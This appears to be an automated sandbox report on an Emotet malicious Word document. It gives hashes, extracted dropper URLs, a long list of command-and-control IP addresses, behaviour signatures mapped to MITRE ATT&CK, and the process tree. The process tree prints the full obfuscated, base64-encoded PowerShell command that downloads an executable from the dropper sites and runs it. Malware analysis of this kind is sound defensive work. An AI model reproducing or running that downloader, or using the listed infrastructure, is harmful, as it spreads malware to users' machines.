emotet | 825617f8a3ad347433be07250c2c043f504c413cfbc31739029208f4af30fc57

General

Target
emotet_e3_825617f8a3ad347433be07250c2c043f504c413cfbc31739029208f4af30fc57_2020-08-14__081632._doc.doc
Size 228KB
Sample200814-99fqcvsg2e
SHA256 825617f8a3ad347433be07250c2c043f504c413cfbc31739029208f4af30fc57
MD5 743a5884aecdb2529ff22dde27303e0b
SHA1 e05d5cf546f63decf07aab930ba16d981daad145
SHA512 c434de08f0678a4c7621dc3808e417960e3db3dd78cdf2dd4cb72a1a019234befe147dc0390545a0288b3a5573552afa33c4ed135713acec25efb42424e2d9f2
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.hammockworld.co.nz/imgs/xyTBsz/
exe.dropper
http://seatrade.com.eg/index_files/OGUwzJl/
exe.dropper
http://www.nancywhite-realtor.com/wp-content/qavvddXh/
exe.dropper
http://skullmedia.de/befroe.de/eyiY/
exe.dropper
https://damoshushu.com/wp-content/xhcurZgXJ/

Extracted

Family

emotet

C2

66.61.94.36:80
159.203.232.29:8080
185.86.148.68:443
74.208.173.91:8080
37.70.131.107:80
212.156.133.218:80
81.17.93.134:80
203.153.216.182:7080
115.79.195.246:80
115.165.3.213:80
216.75.37.196:8080
81.214.253.80:443
192.241.220.183:8080
172.96.190.154:8080
195.201.56.70:8080
105.213.67.88:80
50.116.78.109:8080
188.166.25.84:8080
187.64.128.197:80
198.57.203.63:8080
179.5.118.12:80
201.213.177.139:80
153.220.182.49:80
185.208.226.142:8080
192.163.221.191:8080
37.46.129.215:8080
75.127.14.170:8080
41.185.29.128:8080
91.83.93.103:443
51.38.201.19:7080
78.188.170.128:80
113.160.180.109:80
217.199.160.224:8080
190.190.15.20:80
188.251.213.180:443
203.153.216.178:7080
182.187.139.200:8080
177.37.81.212:443
181.164.110.7:80
172.105.78.244:8080
212.112.113.235:80
78.189.60.109:443
176.9.93.82:7080
201.235.10.215:80
188.0.135.237:80
92.24.51.238:80
143.95.101.72:8080
163.172.107.70:8080
87.106.231.60:8080
197.83.232.19:80
31.146.61.34:80
5.79.70.250:8080
182.176.95.147:80
190.212.140.6:80
177.144.130.105:443
46.32.229.152:8080
185.142.236.163:443
115.78.11.155:80
87.252.100.28:80
202.5.47.71:80
181.113.229.139:443
77.74.78.80:443
181.134.9.162:80
105.209.235.113:8080
157.7.164.178:8081
178.33.167.120:8080
46.105.131.68:8080
139.99.157.213:8080
177.32.8.85:80
139.59.12.63:8080
192.210.217.94:8080
75.139.38.211:80
113.161.148.81:80
107.161.30.122:8080
190.164.75.175:80
181.167.35.84:80
97.104.107.190:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	408	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3912-17-0x0000000002260000-0x000000000226C000-memory.dmp	emotet
behavioral2/memory/3912-17-0x0000000002260000-0x000000000226C000-memory.dmp	emotet
behavioral2/memory/3944-20-0x0000000002070000-0x000000000207C000-memory.dmp	emotet
behavioral2/memory/3944-20-0x0000000002070000-0x000000000207C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1780	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3912	Xfpl.exe
3944	deskmon.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\xpsrchvw\deskmon.exe	Xfpl.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3684	WINWORD.EXE
3684	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1780	powersheLL.exe
1780	powersheLL.exe
1780	powersheLL.exe
3944	deskmon.exe
3944	deskmon.exe
3944	deskmon.exe
3944	deskmon.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1780	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3912	Xfpl.exe
3912	Xfpl.exe
3944	deskmon.exe
3944	deskmon.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 3912	1780	powersheLL.exe	75
PID 1780 wrote to memory of 3912	1780	powersheLL.exe	75
PID 1780 wrote to memory of 3912	1780	powersheLL.exe	75
PID 3912 wrote to memory of 3944	3912	Xfpl.exe	76
PID 3912 wrote to memory of 3944	3912	Xfpl.exe	76
PID 3912 wrote to memory of 3944	3912	Xfpl.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_825617f8a3ad347433be07250c2c043f504c413cfbc31739029208f4af30fc57_2020-08-14__081632._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3684

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABLADgAOABnADkAYwBfAD0AJwBYAHoAcwA3ADkAYQBoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQBgAFIAaQBgAFQAWQBwAFIATwB0AGAATwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwANQBpADQAZABuAHAAIAA9ACAAJwBYAGYAcABsACcAOwAkAEgAcQB1AHQAbwA4ADcAPQAnAFUAYgB2AHkAYwB6AG4AJwA7ACQAVQBwAHoAdAB2AGgAbgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEwANQBpADQAZABuAHAAKwAnAC4AZQB4AGUAJwA7ACQAUAA5AGwAMQBwAGsAeAA9ACcAUwByAHAAcQB3AG0AdgAnADsAJABLAG0ANQBpAHYAXwAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAEMAbABpAEUATgBUADsAJABTADIAagBsAGIAYQA2AD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBoAGEAbQBtAG8AYwBrAHcAbwByAGwAZAAuAGMAbwAuAG4AegAvAGkAbQBnAHMALwB4AHkAVABCAHMAegAvACoAaAB0AHQAcAA6AC8ALwBzAGUAYQB0AHIAYQBkAGUALgBjAG8AbQAuAGUAZwAvAGkAbgBkAGUAeABfAGYAaQBsAGUAcwAvAE8ARwBVAHcAegBKAGwALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAGEAbgBjAHkAdwBoAGkAdABlAC0AcgBlAGEAbAB0AG8AcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHEAYQB2AHYAZABkAFgAaAAvACoAaAB0AHQAcAA6AC8ALwBzAGsAdQBsAGwAbQBlAGQAaQBhAC4AZABlAC8AYgBlAGYAcgBvAGUALgBkAGUALwBlAHkAaQBZAC8AKgBoAHQAdABwAHMAOgAvAC8AZABhAG0AbwBzAGgAdQBzAGgAdQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHgAaABjAHUAcgBaAGcAWABKAC8AJwAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAGoAdwAwAG0AbwA0AD0AJwBFADMAeAA2AGUANQA1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABCAHIAdgAzAHEAcgBlACAAaQBuACAAJABTADIAagBsAGIAYQA2ACkAewB0AHIAeQB7ACQASwBtADUAaQB2AF8AMAAuACIARABgAG8AVwBuAGwATwBgAEEAYABEAGYAaQBsAGUAIgAoACQAQgByAHYAMwBxAHIAZQAsACAAJABVAHAAegB0AHYAaABuACkAOwAkAFIAeQBsAGoAawAyADIAPQAnAFYAeQA0ADgAcgBwAHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABVAHAAegB0AHYAaABuACkALgAiAEwAZQBOAGAARwBUAEgAIgAgAC0AZwBlACAAMgA4ADkAMwA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFUAcAB6AHQAdgBoAG4AKQA7ACQAQgAyADUAZABvAGgAaAA9ACcARwB0AHkAeAAzADMANwAnADsAYgByAGUAYQBrADsAJABFADQAOQBhAG0AaQBnAD0AJwBQAGYAegB2ADcAdQAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAbwBjAGMAYQBmAGoAPQAnAEMAZQBhAGkAZABuAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Users\Admin\AppData\Local\Temp\Xfpl.exe
  "C:\Users\Admin\AppData\Local\Temp\Xfpl.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\SysWOW64\xpsrchvw\deskmon.exe
    "C:\Windows\SysWOW64\xpsrchvw\deskmon.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1780-11-0x00007FF8BBC40000-0x00007FF8BC62C000-memory.dmp

Download

memory/1780-12-0x000001B0C9F40000-0x000001B0C9F41000-memory.dmp

Download

memory/1780-13-0x000001B0E2670000-0x000001B0E2671000-memory.dmp

Download

memory/3684-0-0x00007FF8C91B0000-0x00007FF8C9876000-memory.dmp

Download

memory/3912-17-0x0000000002260000-0x000000000226C000-memory.dmp

Download

memory/3944-20-0x0000000002070000-0x000000000207C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads